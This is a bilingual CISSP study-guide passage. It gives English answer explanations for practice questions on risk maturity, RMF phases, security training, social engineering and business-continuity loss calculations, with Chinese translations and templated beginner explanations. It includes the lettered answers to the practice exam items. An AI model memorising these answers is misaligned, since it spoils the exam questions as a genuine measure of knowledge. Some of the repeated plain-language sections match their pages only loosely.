成本效益 安全控制不能无限堆钱,要用合理成本降低最重要的风险。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
学习单元 76 / PDF P1470

安全职能与业务战略对齐

安全目标要服务业务目标,并受预算和资源限制。

教材原文段落

13. A. This situation is describing inherent risk. Inherent risk is the level of natural, native, or default risk that exists in an environment, system, or product prior to any risk management efforts being performed. The new application had vulnerabilities that were not mitigated, thus enabling the opportunity for the attack. This is not a risk matrix. A risk matrix or risk heat map is a form of risk assessment that is performed on a basic graph or chart, such as a 3×3 grid comparing probability and damage potential. This is not a qualitative risk assessment, since this scenario does not describe any evaluation of the risk of the new code.

This is not residual risk, since no controls were implemented to reduce risk. Residual risk is the leftover risk after countermeasures and safeguards are implemented in response to original or total risk. 14. C. The level of RMM named Defined requires that a common or standardized risk framework be adopted organization-wide. This is effectively level 3. The first level of RMM is not listed as an option; it is ad hoc, which is the chaotic starting point. Preliminary is RMM level 2, which demonstrates loose attempts to follow risk management processes, but each department may perform risk assessment uniquely.

Integrated is RMM level 4, where risk management operations are integrated into business processes, metrics are used to gather effectiveness data, and risk is considered an element in business strategy decisions. Optimized is RMM level 5, where risk management focuses on achieving objectives rather than just reacting to external threats, increasing strategic planning toward business success rather than just avoiding incidents, and reintegrating lessons learned into the risk management process. 15. B.

The RMF phase 6 is Authorize the system or common controls based on a determination that the risk to organizational operations and assets, individuals, other organizations, and the Nation is acceptable. The phases of RMF are (1) Prepare, (2) Categorize, (3) Select, (4) Implement, (5) Assess, (6) Authorize, and (7) Monitor. (A) RMF phase (2) is categorize the system and the information processed, stored, and transmitted by the system based on an analysis of the impact of loss.

(C) RMF phase (5) is assess the controls to determine if the controls are implemented correctly, operating as intended, and producing the desired outcomes with respect to satisfying the security and privacy requirements. (D) RMF phase (7) is monitor the system and the associated controls on an ongoing basis to include assessing control effectiveness, documenting 13. A.

中文直译 / 整理

此情况描述的是固有风险。 固有风险是指在任何风险管理措施实施之前, 环境中、系统中或产品中存在的自然、原生或默认风险水平。 新应用程序存在 未被缓解的漏洞,从而为攻击创造了机会。 这不是风险矩阵。 风险矩阵或风险 热力图是一种基于基本图表(如3×3 网格,比较发生概率和损害潜力)进行的 风险评估形式。 这不是定性风险评估,因为本场景未描述对新代码风险的任何 评估。 这不是残余风险,因为未实施任何控制措施来降低风险。 残余风险是指 在针对原始或总体风险实施应对措施和防护手段后剩余的风险。 14. C. 被称为‘已定义’级别的RMM要求在整个组织内采用通用或标准化的 风险框架。 这实际上相当于第3级。 RMM的第1级未作为选项列出; 它是临时 性的,是混乱的起点。 ‘初步’是RMM第2级,表明对风险管理流程的松散 尝试,但每个部门可能独立执行风险评估。 ‘集成’是RMM第4级,其中风 险管理操作已融入业务流程,使用指标收集有效性数据,并将风险视为业务战 略决策的一个要素。

‘优化’是RMM第5级,其中风险管理侧重于实现目标, 而不仅仅是应对外部威胁,加强面向业务成功的战略规划,而不仅仅是避免事 件,并将经验教训重新整合到风险管理流程中。 15. B. RMF 第6阶段是基于对组织运营和资产、个人、其他组织以及国家所面 临风险可接受的判断,对系统或通用控制措施进行授权。 RMF的阶段包括: (1) 准备,(2) 分类,(3) 选择,(4) 实施,(5) 评估,(6) 授权,和 (7) 监控。 (A) RMF 第(2)阶段是根据损失影响分析,对系统及系统处理、存储和传输的 信息进行分类。 (C) RMF 第(5)阶段是评估控制措施,以确定控制措施是否正 确实施、按预期运行,并产生满足安全和隐私要求的预期结果。 (D) RMF 第 (7)阶段是持续监控系统及相关控制措施,包括评估控制有效性、记录

小白解释

场景先行:公司准备上线一个新业务系统,技术团队说可以买设备,法务说要合规,业务说不能影响上线。安全治理就是让高层定方向:安全要服务业务目标,风险由谁接受,预算花在哪里。

这一页真正想让你理解的是:安全目标要服务业务目标,并受预算和资源限制。

把它放进公司里看,关键不是背定义,而是判断:如果没有治理,安全会变成各部门各做各的:有人只想省钱,有人只想堆工具,最后责任不清。

你作为负责人可以这样想:先定策略和责任,再把战略拆成战术计划和日常运营计划。

本页术语用人话说:

风险评估:风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。

授权:授权是认证之后决定你能访问什么、能做什么。

业务战略对齐:安全要支持组织使命和目标,而不是单独追求技术完美。

战略计划:战略计划是长期、稳定、方向性的安全计划。

常见误区:不要把治理理解成配置设备;治理是方向、责任和监督。

读完后用一句话复述:如果我是高层管理者 / CISO,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全职能与业务战略对齐”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是高层管理者 / CISO在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

风险评估不是漏洞扫描;它更高层,服务于决策和资源分配。

认证成功不等于什么都能做;权限仍要单独授权。

安全目标要与业务目标、预算、资源约束对齐。

Strategic 长期,Tactical 中期,Operational 短期日常。

Minimum level、mandatory requirement 常对应 standard。

排除法提醒:不要把治理理解成配置设备;治理是方向、责任和监督。

本页术语拆解
风险评估 风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。
授权 授权是认证之后决定你能访问什么、能做什么。
业务战略对齐 安全要支持组织使命和目标,而不是单独追求技术完美。
战略计划 战略计划是长期、稳定、方向性的安全计划。
标准 标准给出必须满足的最低要求。
程序 程序是一步一步怎么做。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
学习单元 77 / PDF P1471

第 1471 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

changes to the system and environment of operation, conducting risk assessments and impact analyses, and reporting the security and privacy posture of the system. 16. B, F. The leaking of company proprietary data may have been caused by the content of emails received by workers. The computers of workers who clicked links from the suspicious emails may have been infected by malicious code. This malicious code may have exfiltrated documents to the social media site.

This issue could occur whether workers were on company computers on the company network, on company computers on their home network, or on personal computers on their home network (especially if the workers copied company files to their personal machines to work from home). Blocking access to social media sites and personal email services from the company network reduces the risk of this same event occurring again. For example, if the suspicious emails are blocked from being received by company email servers and accounts, they could still be received into personal email accounts. Though not mentioned, blocking access to the malicious URLs would be a good security defense as well.

This issue is not addressed by deploying a web application firewall, updating the company email server, using MFA on the email server, or performing an access review of company files. Although all of these options are good security practices in general, they do not relate specifically to this issue. 17. C. Training is teaching employees to perform their work tasks and to comply with the security policy. Training is typically hosted by an organization and is targeted to groups of employees with similar job functions. (A) Education is an endeavor in which students and users learn much more than they actually need to know to perform their work tasks.

Education is most often associated with users pursuing certification or seeking job promotion or career advancement. Most education programs are not hosted by the employer but by training organizations or colleges or universities. Education is not provided to workers in groups based on their job positions. (B) Awareness establishes a common baseline or foundation of security understanding across the entire organization and focuses on key or basic topics and issues related to security that all employees must understand. Although it is provided by the organization, it is not targeted to groups of workers since it applies to all employees.

(D) Termination is usually targeted at individuals rather than groups of workers with similar job positions.

中文直译 / 整理

对系统和运行环境的变更进行风险评估和影响分析,并报告系统的安全与 隐私状况。 16. B, F。 公司专有数据的泄露可能是由员工收到的电子邮件内容引起的。 点 击可疑电子邮件中链接的员工计算机可能已被恶意代码感染。 该恶意代码可能 将文档外传至社交媒体网站。 无论员工是在公司网络上的公司计算机上、在家 庭网络上的公司计算机上,还是在家庭网络上的个人计算机上(尤其是当员工 将公司文件复制到个人设备以在家办公时),都可能发生此问题。 阻止从公司 网络访问社交媒体网站和个人电子邮件服务,可降低此类事件再次发生的风险。 例如,即使可疑电子邮件被阻止进入公司电子邮件服务器和账户,它们仍可能 被接收至个人电子邮件账户中。 虽然未提及,但阻止访问恶意URL也是一种良 好的安全防御措施。 部署Web应用防火墙、更新公司电子邮件服务器、在电 子邮件服务器上使用多因素认证或对公司文件进行访问审查,均无法解决此问 题。 尽管所有这些选项总体上都是良好的安全实践,但它们与本问题并无直接 关联。 17. C. 培训是教导员工如何执行其工作任务并遵守安全政策。 培训通常由组 织举办,针对具有相似工作职能的员工群体。

(A)教育是学生和用户学习 远超其完成工作任务所需知识的过程。 教育通常与用户追求认证、寻求职位 晋升或职业发展相关。 大多数教育项目并非由雇主提供,而是由培训机构、 学院或大学提供。 教育并非根据员工的工作岗位进行群体化提供。 (B)安 全意识在全组织内建立共同的安全认知基础,聚焦于所有员工必须理解的关 键或基本安全主题和问题。 虽然由组织提供,但并不针对特定员工群体,因 为它适用于所有员工。 (D)终止通常针对个人,而非具有相似工作职位的 员工群体。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

风险评估:风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。

认证:认证是验证“你是不是你声称的那个人”。

政策:政策是高层原则,说明必须遵守什么。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1471 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

风险评估不是漏洞扫描;它更高层,服务于决策和资源分配。

密码、令牌、生物特征、多因素认证都服务认证。

Policy 高层、强制、稳定;Procedure 具体步骤。

网络题先定位层次,再判断协议、设备或攻击位置。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
风险评估 风险评估是先找资产、威胁、漏洞和影响,再决定控制措施。
认证 认证是验证“你是不是你声称的那个人”。
政策 政策是高层原则,说明必须遵守什么。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
防火墙 防火墙根据规则控制网络流量进出。
多因素认证 MFA 使用至少两类不同认证因素,提高认证可信度。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 78 / PDF P1472

角色与职责:谁最终负责,谁执行保护

CISSP 很爱考 owner、custodian、senior manager 的责任边界。

教材原文段落

Though large layoff events might fire groups of similar workers, this option is not as accurate as training. 18. B, C, D. The activity described in option A is an opportunistic unauthorized access attack, which is not a social engineering attack since there was no interaction with the victim, just the opportunity when the victim walked away. The activities described in options B (hoax), C (phishing, hoax, watering hole attack), and D (vishing) are all examples of social engineering attacks. 19. B. The correct answer for these blanks is security champion(s).

Often a security champion is a member of a group who decides (or is assigned) to take charge of leading the adoption and integration of security concepts into the group's work activities. Security champions are often nonsecurity employees who take up the mantle to encourage others to support and adopt more security practices and behaviors. The other options are incorrect. A CISO, or chief information security officer, defines and enforces security throughout the organization. The security auditor is the person who manages security logging and reviews the audit trails for signs of compliance or violation.

The custodian is the security role that accepts assets from owners and then, based on the ownerassigned classifications, places the asset in the proper IT container where the proper security protections are provided. 20. D. Security awareness and training can often be improved through gamification. Gamification is a means to encourage compliance and engagement by integrating common elements of gameplay into other activities, such as security compliance and behavior change. This can include rewarding compliance behaviors and potentially punishing violating behaviors.

Many aspects of gameplay can be integrated into security training and adoption, such as scoring points, earning achievements or badges (i.e., earning recognition), competing with others, cooperating with others (i.e., teaming up with coworkers), following a set of common/standard rules, having a defined goal, seeking rewards, developing group stories/experiences, and avoiding pitfalls or negative game events. (A) Program effectiveness evaluation is using some means of verification, such as giving a quiz or monitoring security incident rate changes over time, to measure whether the training is beneficial or a waste of time and resources.

This question starts by indicating that security incidents are on the rise, which shows that prior training was ineffective. But the recommendations to change the training

中文直译 / 整理

尽管大规模裁员事件可能同时裁撤一批相似的员工,但此选项的准确性不 如培训。 18. B、C、D。 选项 A 中描述的活动是一种机会主义的未授权访问攻击,由于 没有与受害者进行任何互动,仅利用了受害者离开时的机会,因此不属于社会 工程攻击。 选项 B(虚假信息)、C(钓鱼、虚假信息、水坑攻击)和 D(语 音钓鱼)都是社会工程攻击的例子。 19. B。 这些空格的正确答案是安全倡导者。 通常,安全倡导者是团队中被指 定或主动承担起推动安全理念融入团队工作职责的成员。 安全倡导者通常是非 安全岗位的员工,他们主动承担起责任,鼓励他人支持并采纳更安全的实践和 行为。 其他选项均不正确。 CISO(首席信息安全部门负责人)负责在整个组 织内定义和执行安全策略。 安全审计员负责管理安全日志并审查审计跟踪,以 发现合规或违规迹象。 保管人是负责接收所有者移交的资产,并根据所有者分 配的分类,将资产置于具有适当安全保护措施的 IT 容器中的安全角色。 20. D. 安全意识和培训通常可以通过游戏化得到改善。 游戏化是一种通过将游 戏的常见元素整合到其他活动中(如安全合规和行为改变)来鼓励合规性和参 与度的方法。

这可以包括奖励合规行为,以及可能惩罚违规行为。 许多游戏元 素可以融入安全培训和推广中,例如:计分、获得成就或徽章(即获得认可)、 与他人竞争、与他人合作(即与同事组队)、遵循一套共同/标准规则、设定 明确目标、寻求奖励、构建群体故事/体验,以及避免陷阱或负面游戏事件。 (A)项目有效性评估是通过某种验证手段(如进行测验或监控安全事件率随 时间的变化)来衡量培训是否有效,还是浪费了时间和资源。 本题首先指出安 全事件正在增加,这表明之前的培训无效。 但建议改变培训

小白解释

场景先行:公司准备上线一个新业务系统,技术团队说可以买设备,法务说要合规,业务说不能影响上线。安全治理就是让高层定方向:安全要服务业务目标,风险由谁接受,预算花在哪里。

这一页真正想让你理解的是:CISSP 很爱考 owner、custodian、senior manager 的责任边界。

把它放进公司里看,关键不是背定义,而是判断:如果没有治理,安全会变成各部门各做各的:有人只想省钱,有人只想堆工具,最后责任不清。

你作为负责人可以这样想:先定策略和责任,再把战略拆成战术计划和日常运营计划。

本页术语用人话说:

授权:授权是认证之后决定你能访问什么、能做什么。

审计:审计记录主体行为,用于追责、复盘和取证。

首席信息安全官:CISO 负责组织安全计划、策略、沟通和监督。

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

常见误区:不要把治理理解成配置设备;治理是方向、责任和监督。

读完后用一句话复述:如果我是高层管理者 / CISO,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“角色与职责:谁最终负责,谁执行保护”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是高层管理者 / CISO在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

认证成功不等于什么都能做;权限仍要单独授权。

没有日志和身份绑定,就很难问责。

CISO 需要足够独立性和高层支持。

ISO 偏标准和管理体系。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

排除法提醒:不要把治理理解成配置设备;治理是方向、责任和监督。

本页术语拆解
授权 授权是认证之后决定你能访问什么、能做什么。
审计 审计记录主体行为,用于追责、复盘和取证。
首席信息安全官 CISO 负责组织安全计划、策略、沟通和监督。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
NIST NIST 提供美国常用安全标准、框架和指南。
标准 标准给出必须满足的最低要求。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
审计 审计检查控制是否存在、是否有效、是否符合要求。
学习单元 79 / PDF P1473

第 1473 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

are gamification-focused. (B) Onboarding is the process of adding new employees to the organization. This is not the concept being described in this scenario. (C) Compliance enforcement is the application of sanctions or consequences for failing to follow policy, training, best practices, and/or regulations.

中文直译 / 整理

以游戏化为重点。 (B) 入职是将新员工添加到组织中的过程。 这并非本场景 中所描述的概念。 (C) 合规执行是对未遵守政策、培训、最佳实践和/或法 规的行为施加制裁或后果。

小白解释

场景先行:你是公司的安全负责人,正在读第 1473 页这一组概念。老板不会问你背定义,而是问:这件事会不会影响业务、谁负责、要不要花钱、出了事能不能解释清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:概念没放进业务场景,容易只背词,做题时不知道该选管理动作还是技术动作。

你作为负责人可以这样想:先确认业务目标和风险,再选控制措施,最后留下政策、审批、日志或证据。

本页术语用人话说:

政策:政策是高层原则,说明必须遵守什么。

常见误区:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

读完后用一句话复述:如果我是安全负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1473 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是安全负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Policy 高层、强制、稳定;Procedure 具体步骤。

排除法提醒:不要一看到安全题就直接选最强工具;CISSP 更常考“在这个场景下谁该负责、下一步是什么”。

本页术语拆解
政策 政策是高层原则,说明必须遵守什么。
学习单元 80 / PDF P1474

第 1474 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Chapter 3: Business Continuity Planning 1. B. As the first step of the process, the business organization analysis helps guide the remainder of the work. James and his core team should conduct this analysis and use the results to aid in the selection of team members and the design of the BCP process. 2. C. This question requires that you exercise some judgment, something that is extremely important for CISSP candidates. All of these answers are plausible things that Tracy could bring up, but we're looking for the best answer. In this case, that is ensuring that the organization is ready for an emergency—a mission-critical goal.

Telling managers that the exercise is already scheduled or required by policy doesn't address their concerns that it is a waste of time. Telling them that it won't be timeconsuming is not likely to be an effective argument because they are already raising concerns about the amount of time requested. 3. C. A firm's officers and directors are legally bound to exercise due diligence in conducting their activities. This concept creates a fiduciary responsibility on their part to ensure that adequate business continuity plans are in place. This is an element of corporate responsibility, but that term is vague and not commonly used to describe a board's responsibilities.

Disaster requirement and going concern responsibilities are also not risk management terms. 4. D. During the planning phase, the most significant resource utilization will be the time dedicated by members of the BCP team to the planning process. This represents a significant use of business resources and is another reason that buy-in from senior management is essential. 5. A. The quantitative portion of the priority identification should assign asset values in monetary units. The organization may also choose to assign other values to assets, but non-monetary measures should be part of a qualitative, rather than a quantitative, assessment. 6. C.

The annualized loss expectancy (ALE) represents the amount of money a business expects to lose to a given risk each year. This figure is quite useful when performing a quantitative prioritization of business continuity resource allocation. 7. C. The maximum tolerable downtime (MTD) represents the longest period a business function can be unavailable before causing irreparable

中文直译 / 整理

第3章:业务连续性规划 1. B. 作为该过程的第一步,业务组织分析有助于指导后续工作。 詹姆斯及 其核心团队应进行此项分析,并利用结果协助选定团队成员和设计BCP流 程。 2. C. 本题要求您运用一定的判断力,这对CISSP考生而言至关重要。 这些 答案都是特蕾西可能提出的合理观点,但我们需寻找最佳答案。 在此情况 下,最佳答案是确保组织已为紧急情况做好准备——这是一个至关重要的目 标。 告诉管理者该演练已安排好或由政策要求,并未解决他们认为这是浪 费时间的顾虑。 告诉他们这不会耗费大量时间也不太可能有效,因为他们 已经对所要求的时间量表达了担忧。 3. C. 公司的高管和董事在开展其活动时,依法负有尽职调查的责任。 这一概 念要求他们承担受托责任,以确保制定充分的业务连续性计划。 这是企业责 任的一部分,但“企业责任”一词含义模糊,并不常用于描述董事会的职责。 “灾难要求”和“持续经营责任”也不是风险管理体系中的术语。 4. D. 在规划阶段,最显著的资源消耗是BCP团队成员投入到规划过程中的 时间。 这代表了业务资源的重大使用,也是高层管理支持至关重要的另一 个原因。

5. A. 优先级识别的定量部分应以货币单位分配资产价值。 组织也可以选择为 资产分配其他值,但非货币度量应属于定性评估,而非定量评估。 6. C. 年化损失预期(ALE)表示企业每年因特定风险预期损失的金额。 在 对业务连续性资源分配进行定量优先级排序时,这一数据非常有用。 7. C. 最大可容忍停机时间(MTD)表示业务功能在造成不可逆转损害之前可以 不可用的最长时间。

小白解释

场景先行:机房断电,业务部门问多久能恢复、最多会丢多少数据。BCP/DRP 不是背缩写,而是把业务能承受的中断时间和数据损失说清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:只做备份但没测试,真正灾难时可能恢复不了。

你作为负责人可以这样想:先做业务影响分析,再定 RTO/RPO,最后设计备份、冗余和演练。

本页术语用人话说:

尽职调查:尽职调查是持续检查、验证和监督是否做到了。

政策:政策是高层原则,说明必须遵守什么。

资产:资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。

业务连续性计划 BCP:BCP 关注业务在灾难或中断中如何继续运行。

常见误区:RTO 问时间,RPO 问数据;这两个不要混。

读完后用一句话复述:如果我是业务连续性负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1474 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务连续性负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Due diligence 偏“确认事情被正确执行”。

Policy 高层、强制、稳定;Procedure 具体步骤。

资产安全题先问资产是谁拥有、如何分类、谁负责保护。

BCP 保护业务流程,DRP 保护 IT 恢复。

RPO 问数据:最多丢到哪个时间点。

排除法提醒:RTO 问时间,RPO 问数据;这两个不要混。

本页术语拆解
尽职调查 尽职调查是持续检查、验证和监督是否做到了。
政策 政策是高层原则,说明必须遵守什么。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
业务连续性计划 BCP BCP 关注业务在灾难或中断中如何继续运行。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
学习单元 81 / PDF P1475

第 1475 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

harm to the business. This figure is useful when determining the level of business continuity resources to assign to a particular function. 8. B. The single loss expectancy (SLE) is the product of the asset value (AV) and the exposure factor (EF). From the scenario, you know that the AV is $3 million and the EF is 90 percent, based on that the same land can be used to rebuild the facility. This yields an SLE of $2,700,000. 9. D. This problem requires you to compute the annualized loss expectancy (ALE), which is the product of the single loss expectancy (SLE) and the annualized rate of occurrence (ARO). From the scenario, you know that the ARO is 0.05 (or 5 percent).

From question 8, you know that the SLE is $2,700,000. This yields an ALE of $135,000. 10. A. This problem requires you to compute the ALE, which is the product of the SLE and ARO. From the scenario, you know that the ARO is 0.10 (or 10 percent). From the scenario presented, you know that the SLE is $7.5 million. This yields an ALE of $750,000. 11. C. Risk mitigation controls to address acceptable risks would not be in the BCP. The risk acceptance documentation should contain a thorough review of the risks facing the organization, including the determination as to which risks should be considered acceptable and unacceptable.

For acceptable risks, the documentation should include a rationale for that decision and a list of potential future events that might warrant a reconsideration of that determination. The documentation should include a list of controls used to mitigate unacceptable risks, but it would not include controls used to mitigate acceptable risks, since acceptable risks do not require mitigation. 12. D. The safety of human life must always be the paramount concern in business continuity planning. Be sure that your plan reflects this priority, especially in the written documentation that is disseminated to your organization's employees! 13. C.

It is difficult to put a dollar figure on the business lost because of negative publicity. Therefore, this type of concern is better evaluated through a qualitative analysis. The other items listed here are all more easily quantifiable. 14. B. The single loss expectancy (SLE) is the amount of damage that would be caused by a single occurrence of the risk. In this case, the SLE is $10 million, the expected damage from one tornado. The fact that a tornado

中文直译 / 整理

对业务造成损害。 在确定分配给特定功能的业务连续性资源水平时,此数值非 常有用。 8. B. 单次损失预期(SLE)是资产价值(AV)与暴露因子(EF)的乘积。 根据该场 景,你知道AV为 300万美元,EF为90%,基于同一块土地可用于重建设施。 由此得出SLE为 2,700,000美元。 9. D. 本题要求计算年化损失预期(ALE),它是单次损失预期(SLE)与年 化发生率(ARO)的乘积。 根据该场景,你知道ARO为0.05(或5%)。 从 第8题可知,SLE为2,700,000美元。 由此得出ALE为135,000美元。 10. A. 本题要求计算ALE,它是SLE与ARO的乘积。 根据该场景,你知道 ARO为0.10(或10%)。 根据所给场景,你知道SLE为750万美元。 由此得 出ALE为750,000美元。 11. C. 用于应对可接受风险的缓解控制措施不应包含在业务连续性计划( BCP)中。 风险接受文档应包含对组织所面临风险的全面审查,包括确定哪些 风险应被视为可接受或不可接受。 对于可接受的风险,文档应包含做出该决定 的理由,以及可能需要重新评估该决定的潜在未来事件列表。

文档应列出用于 缓解不可接受风险的控制措施,但不应包括用于缓解可接受风险的控制措施, 因为可接受风险无需缓解。 12. D. 在业务连续性规划中,保障人类生命安全必须始终是首要关注点。 请确 保您的计划体现这一优先级,尤其是在向组织员工分发的书面文档中! 13. C. 由于负面宣传导致的业务损失难以用金钱数额衡量。 因此,此类问 题更适合通过定性分析进行评估。 此处列出的其他项目则更容易量化。 14. B. 单次损失预期(SLE)是指一次风险事件所造成的损失金额。 在此情 况下,SLE为1000万美元,即一次龙卷风预计造成的损失。 龙卷风

小白解释

场景先行:机房断电,业务部门问多久能恢复、最多会丢多少数据。BCP/DRP 不是背缩写,而是把业务能承受的中断时间和数据损失说清楚。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:只做备份但没测试,真正灾难时可能恢复不了。

你作为负责人可以这样想:先做业务影响分析,再定 RTO/RPO,最后设计备份、冗余和演练。

本页术语用人话说:

资产:资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。

业务连续性计划 BCP:BCP 关注业务在灾难或中断中如何继续运行。

常见误区:RTO 问时间,RPO 问数据;这两个不要混。

读完后用一句话复述:如果我是业务连续性负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1475 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务连续性负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

资产安全题先问资产是谁拥有、如何分类、谁负责保护。

BCP 保护业务流程,DRP 保护 IT 恢复。

排除法提醒:RTO 问时间,RPO 问数据;这两个不要混。

本页术语拆解
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
业务连续性计划 BCP BCP 关注业务在灾难或中断中如何继续运行。
学习单元 82 / PDF P1476

政策、标准、程序、指南

高层原则、最低要求、操作步骤、建议做法要分清。

教材原文段落

occurs only once every 100 years is not reflected in the SLE but would be reflected in the annualized loss expectancy (ALE). 15. C. The annualized loss expectancy (ALE) is computed by taking the product of the single loss expectancy (SLE), which was $10 million in this scenario, and the annualized rate of occurrence (ARO), which was 0.01 in this example. These figures yield an ALE of $100,000. 16. C. In the provisions and processes subtask, the BCP team designs the procedures and mechanisms to mitigate risks that were deemed unacceptable during the strategy development phase. 17. D. This is an example of alternative systems.

Redundant communications circuits provide backup links that may be used when the primary circuits are unavailable. 18. C. Disaster recovery plans pick up where business continuity plans leave off. After a disaster strikes and the business is interrupted, the disaster recovery plan guides response teams in their efforts to quickly restore business operations to normal levels. 19. A. The annualized rate of occurrence (ARO) is the likelihood that the risk will materialize in any given year. The fact that a power outage did not occur in any of the past three years doesn't change the probability that one will occur in the upcoming year.

Unless other circumstances have changed, the ARO should remain the same. 20. C. You should strive to have the highest-ranking person possible sign the BCP's statement of importance. Of the choices given, the chief executive officer (CEO) is the highest ranking.

中文直译 / 整理

每100年才发生一次的事件在SLE中未体现,但在年化损失预期(ALE)中会 体现。 15. C. 年度预期损失(ALE)通过将单次损失预期(SLE)——在此情景中 为1000万美元——与年度发生率(ARO)——在此示例中为0.01——相乘计 算得出。 这些数值得出的ALE为10万美元。 16. C. 在条款与流程子任务中,BCP团队设计程序和机制,以缓解在策略 开发阶段被认定为不可接受的风险。 17. D. 这是备用系统的示例。 冗余通信电路提供备用链路,当主电路不可 用时可使用这些链路。 18. C. 灾难恢复计划接续业务连续性计划未完成的部分。 在灾难发生且业务 中断后,灾难恢复计划指导响应团队努力迅速将业务运营恢复至正常水平。 19. A. 年度发生率(ARO)是指风险在任何一年内发生的可能性。 过去三年 未发生停电并不改变明年发生停电的概率。 除非其他情况发生变化,否则 ARO应保持不变。 20. C. 您应努力让级别最高的人签署业务连续性计划(BCP)的重要性声明。 在所给选项中,首席执行官(CEO)级别最高。

小白解释

场景先行:机房断电,业务部门问多久能恢复、最多会丢多少数据。BCP/DRP 不是背缩写,而是把业务能承受的中断时间和数据损失说清楚。

这一页真正想让你理解的是:高层原则、最低要求、操作步骤、建议做法要分清。

把它放进公司里看,关键不是背定义,而是判断:只做备份但没测试,真正灾难时可能恢复不了。

你作为负责人可以这样想:先做业务影响分析,再定 RTO/RPO,最后设计备份、冗余和演练。

本页术语用人话说:

程序:程序是一步一步怎么做。

业务连续性计划 BCP:BCP 关注业务在灾难或中断中如何继续运行。

常见误区:RTO 问时间,RPO 问数据;这两个不要混。

读完后用一句话复述:如果我是业务连续性负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“政策、标准、程序、指南”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务连续性负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

Step-by-step、SOP 常对应 procedure。

BCP 保护业务流程,DRP 保护 IT 恢复。

排除法提醒:RTO 问时间,RPO 问数据;这两个不要混。

本页术语拆解
程序 程序是一步一步怎么做。
